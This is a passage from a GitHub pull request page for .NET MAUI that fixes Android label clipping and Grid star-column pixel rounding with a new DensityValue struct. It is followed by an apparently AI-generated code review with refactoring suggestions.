ContextExtensions.ToPixels(Context, Rect) was converting each edge of the rectangle independently. Because each double → int cast is rounded separately, the independently converted Right and Bottom values could differ by 1 pixel from Left + Width and Top + Height, causing the content area to be 1px narrower than expected and clipping the label text.

Issue #30017 — Grid star-column pixel gaps:
In high-DPI environments, dividing available dp space across * columns often produces fractional pixel values. MAUI Grid was assigning column sizes via naive double division without accumulating rounding error, resulting in total allocated pixels that differ from the actual container by 1+ pixel — causing layout gaps, overlap, or clipped content.

Description of Change

1. ContextExtensions.ToPixels fix (label cropping — Android only)
Computed right as left + (int)context.ToPixels(rectangle.Width) and bottom as top + (int)context.ToPixels(rectangle.Height) instead of independently converting each edge. This ensures Right and Bottom are always exactly Left+Width and Top+Height in pixel space.

2. New DensityValue struct (src/Core/src/Layouts/DensityValue.cs)
Internal struct that tracks both a dp value and its corresponding physical pixels (RawPx = Dp * Density). Provides arithmetic operators and DistributePixels(totalPixels, density, portions[]) — a static method that allocates pixel counts using floor + right-to-left remainder distribution (matches Android's native behavior):

// 293.4dp × 2.625 density = 770.175px across 3 equal columns
// DistributePixels → [256, 257, 257] = 770px ✓
// Naive rounding → [257, 257, 257] = 771px ✗ (overflow by 1px)

3. Grid star-column density-aware distribution
GridLayoutManager.ExpandStarDefinitions (internal class) now calls GetDensity() to retrieve the window display density, then uses DensityValue.DistributePixels to allocate pixel counts to * columns/rows, eliminating off-by-one errors from independent rounding. GetDensity() returns 1.0 when no window is available (safe fallback for unit tests and pre-attach layout passes).

4. New IViewWithWindow interface (src/Core/src/IViewWithWindow.cs)
Temporary internal interface allowing GridLayoutManager to access IWindow from the grid view without taking a direct dependency on the handler chain. View implements this interface by forwarding its existing Window property.

// TODO Delete this in NET10 and just add it with a default implementation to IView
internal interface IViewWithWindow
{
    IWindow? Window { get; }
}

5. ElementExtensions.GetWindow improvement
GetWindow(IElement) now checks IViewWithWindow.Window first, then GetHostedWindow(), before falling back to the handler chain — enabling density resolution earlier in the view lifecycle.

Platforms Affected

  • Android — primary target; both fixes directly address Android rendering
  • All platformsDensityValue distribution is active for any platform where RequestDisplayDensity() returns a non-1.0 value (including high-DPI Windows). Falls back safely to 1.0 when no window is available.

Key Technical Details

Density access chain:

GridLayoutManager.GetDensity()
  → (_grid as IViewWithWindow)?.Window
  → IWindow.RequestDisplayDensity()
  → returns 1.0 if unavailable (safe fallback)

Definition.Size and Cell.MeasureWidth/Height changed from double to DensityValue. The implicit DensityValue → double operator returns .Dp, so all downstream code using .Size directly still works. Arithmetic on Definition.Size uses .Dp explicitly in places where only the dp value is needed.

What NOT to Do (for future agents)

  • Don't convert each Rect edge independently — Always compute right = left + width_px and bottom = top + height_px to avoid independent rounding errors
  • Don't assign * column sizes by simple targetStarSize * weight — Use DensityValue.DistributePixels to accumulate remainder pixels; naive rounding causes 1px overflow
  • Don't access display density from Platform layer directly in GridLayoutManager — The layout manager is in Core and must use IViewWithWindow/IWindow.RequestDisplayDensity() to stay layer-agnostic

Issues Fixed

Fixes #28117
Fixes #30017

Output

Android platform

Before After
Before After
Code Review: ⚠️ Issues Found

Code Review — PR #31755

🔴 Critical Issues

1. ExpandStarDefinitions changed from static to instance method without addressing reviewer feedback

File: src/Core/src/Layouts/GridLayoutManager.cs (line ~845)
Problem: The Copilot auto-reviewer flagged this: the method was originally static void ExpandStarDefinitions(...). Changing it to an instance method breaks internal consistency of the nested GridLayoutManager.GridStructure class, where other helper methods are static. The reviewer's suggestion was to pass density as a parameter instead. This feedback was not addressed.

Recommendation: Restore static and pass density as a parameter:

static void ExpandStarDefinitions(Definition[] definitions, double targetSize, double currentSize, 
                                   double spacing, double starCount, bool limitStarSizes, double density)

The caller (ResolveStarColumns, ResolveStarRows) can call GetDensity() and pass it in:

var density = GetDensity();
ExpandStarDefinitions(definitions, ..., density);

This keeps the helper methods consistent and testable without needing an instance.


🟡 Suggestions

2. Private constructor uses unused discriminator parameter

File: src/Core/src/Layouts/DensityValue.cs
Problem: The private constructor DensityValue(double rawPx, double density, bool fromPixels) uses a bool fromPixels parameter solely to distinguish it from the public DensityValue(double dp, double density) constructor. The fromPixels value is never checked.

// Current - fromPixels is unused
private DensityValue(double rawPx, double density, bool fromPixels)
{
    RawPx = rawPx;
    Density = density;
}

Recommendation: Use a static factory method pattern consistently, removing the confusing private constructor:

// FromPixels already exists as a public static factory - just make the private ctor cleaner
private DensityValue(double rawPx, double density)  // Private; always means "from pixels"
{
    RawPx = rawPx;
    Density = density;
}

Or since FromPixels is already a public static factory method that calls this constructor, just make the private constructor take only rawPx and density without the discriminator bool.


3. DensityValue arithmetic operators throw on mismatched density

File: src/Core/src/Layouts/DensityValue.cs
Problem: The + and - operators throw ArgumentException when densities differ and neither is 1.0. The special-casing logic (treat 1.0-density values as same-density) is fragile for future callers who might not realize this constraint.

throw new ArgumentException("Cannot add DensityValues with different densities.");

Risk: If any future code path creates two DensityValue instances from different display contexts and adds them, this will throw at runtime with no compile-time warning.

Recommendation: Add XML documentation on the operators clearly stating the constraint, or consider removing the operators and requiring explicit .Dp access for arithmetic, since the implicit conversion to double already provides natural dp-based arithmetic.


4. Missing newline at end of new files

Files: src/Core/src/Layouts/GridLayoutManager.cs, src/Core/src/IViewWithWindow.cs
Problem: Both files end with \ No newline at end of file in the diff. This causes minor Git diff noise and violates standard .NET formatting conventions.

Recommendation: Add a trailing newline to both files.


5. System.Linq added to performance-critical layout code

File: src/Core/src/Layouts/GridLayoutManager.cs
Problem: using System.Linq; was added to use .Where() and .Select() inside ExpandStars, which is called during every layout pass containing * columns/rows. LINQ creates enumerator allocations on the heap.

var starDefinitions = defs.Where(d => d.IsStar).ToArray();   // heap allocation
var portions = starDefinitions.Select(d => targetStarSize * d.GridLength.Value).ToArray(); // heap allocation

Recommendation: Replace LINQ with pre-allocated arrays or a manual loop to match the allocation profile of the surrounding code:

// Count first, then fill
int starCount2 = 0;
for (int i = 0; i < defs.Length; i++)
    if (defs[i].IsStar) starCount2++;

var starDefinitions = new Definition[starCount2];
var portions = new double[starCount2];
int idx = 0;
for (int i = 0; i < defs.Length; i++)
{
    if (defs[i].IsStar)
    {
        starDefinitions[idx] = defs[i];
        portions[idx] = targetStarSize * defs[i].GridLength.Value;
        idx++;
    }
}

✅ Looks Good


Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

community ✨ Community Contribution partner/syncfusion Issues / PR's with Syncfusion collaboration s/agent-fix-win AI found a better alternative fix than the PR s/agent-gate-passed AI verified tests catch the bug (fail without fix, pass with fix) s/agent-reviewed PR was reviewed by AI agent workflow (full 4-phase review)

Projects

None yet

7 participants